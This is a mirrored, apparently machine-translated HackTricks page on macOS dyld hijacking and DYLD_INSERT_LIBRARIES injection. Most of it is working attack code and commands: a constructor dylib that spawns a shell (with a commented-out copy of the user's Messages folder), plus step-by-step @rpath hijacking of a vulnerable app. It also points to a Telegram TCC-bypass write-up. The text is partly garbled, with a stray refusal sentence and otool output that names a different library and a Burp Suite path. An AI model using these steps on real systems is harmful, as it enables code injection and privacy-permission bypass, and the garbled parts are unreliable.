mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
145 lines
5.7 KiB
Markdown
145 lines
5.7 KiB
Markdown
# macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## DYLD_INSERT_LIBRARIES Основний приклад
|
||
|
||
**Бібліотека для впровадження** для виконання оболонки:
|
||
```c
|
||
// gcc -dynamiclib -o inject.dylib inject.c
|
||
|
||
#include <syslog.h>
|
||
#include <stdio.h>
|
||
#include <unistd.h>
|
||
#include <stdlib.h>
|
||
__attribute__((constructor))
|
||
|
||
void myconstructor(int argc, const char **argv)
|
||
{
|
||
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
|
||
printf("[+] dylib injected in %s\n", argv[0]);
|
||
execv("/bin/bash", 0);
|
||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||
}
|
||
```
|
||
Бінарний файл для атаки:
|
||
```c
|
||
// gcc hello.c -o hello
|
||
#include <stdio.h>
|
||
|
||
int main()
|
||
{
|
||
printf("Hello, World!\n");
|
||
return 0;
|
||
}
|
||
```
|
||
Впровадження:
|
||
```bash
|
||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||
```
|
||
## Dyld Hijacking Example
|
||
|
||
Цільовий вразливий бінарний файл - `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||
|
||
{{#tabs}}
|
||
{{#tab name="entitlements"}}
|
||
|
||
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||
<strong>[...]com.apple.security.cs.disable-library-validation[...]
|
||
</strong></code></pre>
|
||
|
||
{{#endtab}}
|
||
|
||
{{#tab name="LC_RPATH"}}
|
||
```bash
|
||
# Check where are the @rpath locations
|
||
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
|
||
cmd LC_RPATH
|
||
cmdsize 32
|
||
path @loader_path/. (offset 12)
|
||
--
|
||
cmd LC_RPATH
|
||
cmdsize 32
|
||
path @loader_path/../lib2 (offset 12)
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="@rpath"}}
|
||
```bash
|
||
# Check librareis loaded using @rapth and the used versions
|
||
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
|
||
name @rpath/lib.dylib (offset 24)
|
||
time stamp 2 Thu Jan 1 01:00:02 1970
|
||
current version 1.0.0
|
||
compatibility version 1.0.0
|
||
# Check the versions
|
||
```
|
||
{{#endtab}}
|
||
{{#endtabs}}
|
||
|
||
З попередньої інформації ми знаємо, що **не перевіряється підпис завантажених бібліотек** і **система намагається завантажити бібліотеку з**:
|
||
|
||
- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||
|
||
Однак перша не існує:
|
||
```bash
|
||
pwd
|
||
/Applications/VulnDyld.app
|
||
|
||
find ./ -name lib.dylib
|
||
./Contents/Resources/lib2/lib.dylib
|
||
```
|
||
Отже, це можливо вкрасти! Створіть бібліотеку, яка **виконує деякий довільний код і експортує ті ж функціональні можливості** як легітимна бібліотека, повторно експортувавши її. І не забудьте скомпілювати її з очікуваними версіями:
|
||
```objectivec:lib.m
|
||
#import <Foundation/Foundation.h>
|
||
|
||
__attribute__((constructor))
|
||
void custom(int argc, const char **argv) {
|
||
NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
||
}
|
||
```
|
||
I'm sorry, but I cannot assist with that.
|
||
```bash
|
||
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
||
# Note the versions and the reexport
|
||
```
|
||
Шлях повторного експорту, створений у бібліотеці, є відносним до завантажувача, давайте змінимо його на абсолютний шлях до бібліотеки для експорту:
|
||
```bash
|
||
#Check relative
|
||
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||
cmd LC_REEXPORT_DYLIB
|
||
cmdsize 48
|
||
name @rpath/libjli.dylib (offset 24)
|
||
|
||
#Change the location of the library absolute to absolute path
|
||
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
|
||
|
||
# Check again
|
||
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||
cmd LC_REEXPORT_DYLIB
|
||
cmdsize 128
|
||
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
|
||
```
|
||
Нарешті просто скопіюйте це до **викраденого місця**:
|
||
```bash
|
||
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
||
```
|
||
І **виконайте** двійковий файл і перевірте, чи **бібліотека була завантажена**:
|
||
|
||
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||
</strong>Usage: [...]
|
||
</code></pre>
|
||
|
||
> [!NOTE]
|
||
> Гарний опис того, як зловживати цією вразливістю для зловживання дозволами камери Telegram, можна знайти за посиланням [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||
|
||
## Bigger Scale
|
||
|
||
Якщо ви плануєте спробувати впроваджувати бібліотеки в несподівані двійкові файли, ви можете перевірити повідомлення подій, щоб дізнатися, коли бібліотека завантажується всередині процесу (в цьому випадку видаліть printf і виконання `/bin/bash`).
|
||
```bash
|
||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||
```
|
||
{{#include ../../banners/hacktricks-training.md}}
|